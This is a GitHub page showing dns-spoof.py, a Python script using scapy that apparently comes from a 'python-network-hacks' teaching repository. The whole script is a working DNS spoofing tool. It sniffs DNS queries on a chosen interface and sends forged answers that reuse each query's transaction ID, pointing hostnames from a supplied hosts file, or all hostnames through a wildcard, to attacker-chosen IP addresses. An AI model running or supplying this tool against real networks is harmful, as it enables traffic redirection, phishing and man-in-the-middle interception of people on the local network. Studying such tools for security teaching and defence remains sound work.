forked from balle/python-network-hacks
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathdns-spoof.py
executable file
·85 lines (68 loc) · 2.18 KB
/
dns-spoof.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
#!/usr/bin/python3
import sys
import getopt
import scapy.all as scapy
dev = "enp3s0f1"
filter = "udp port 53"
file = None
dns_map = {}
def handle_packet(packet):
ip = packet.getlayer(scapy.IP)
udp = packet.getlayer(scapy.UDP)
dns = packet.getlayer(scapy.DNS)
# standard (a record) dns query
if dns.qr == 0 and dns.opcode == 0:
queried_host = dns.qd.qname[:-1].decode()
resolved_ip = None
if dns_map.get(queried_host):
resolved_ip = dns_map.get(queried_host)
elif dns_map.get('*'):
resolved_ip = dns_map.get('*')
if resolved_ip:
dns_answer = scapy.DNSRR(rrname=queried_host + ".",
ttl=330,
type="A",
rclass="IN",
rdata=resolved_ip)
dns_reply = scapy.IP(src=ip.dst, dst=ip.src) / \
scapy.UDP(sport=udp.dport,
dport=udp.sport) / \
scapy.DNS(
id = dns.id,
qr = 1,
aa = 0,
rcode = 0,
qd = dns.qd,
an = dns_answer
)
print("Send %s has %s to %s" % (queried_host,
resolved_ip,
ip.src))
scapy.send(dns_reply, iface=dev)
def usage():
print(sys.argv[0] + " -f <hosts-file> -i <dev>")
sys.exit(1)
def parse_host_file(file):
for line in open(file):
line = line.rstrip('\n')
if line:
(ip, host) = line.split()
dns_map[host] = ip
try:
cmd_opts = "f:i:"
opts, args = getopt.getopt(sys.argv[1:], cmd_opts)
except getopt.GetoptError:
usage()
for opt in opts:
if opt[0] == "-i":
dev = opt[1]
elif opt[0] == "-f":
file = opt[1]
else:
usage()
if file:
parse_host_file(file)
else:
usage()
print("Spoofing DNS requests on %s" % (dev))
scapy.sniff(iface=dev, filter=filter, prn=handle_packet)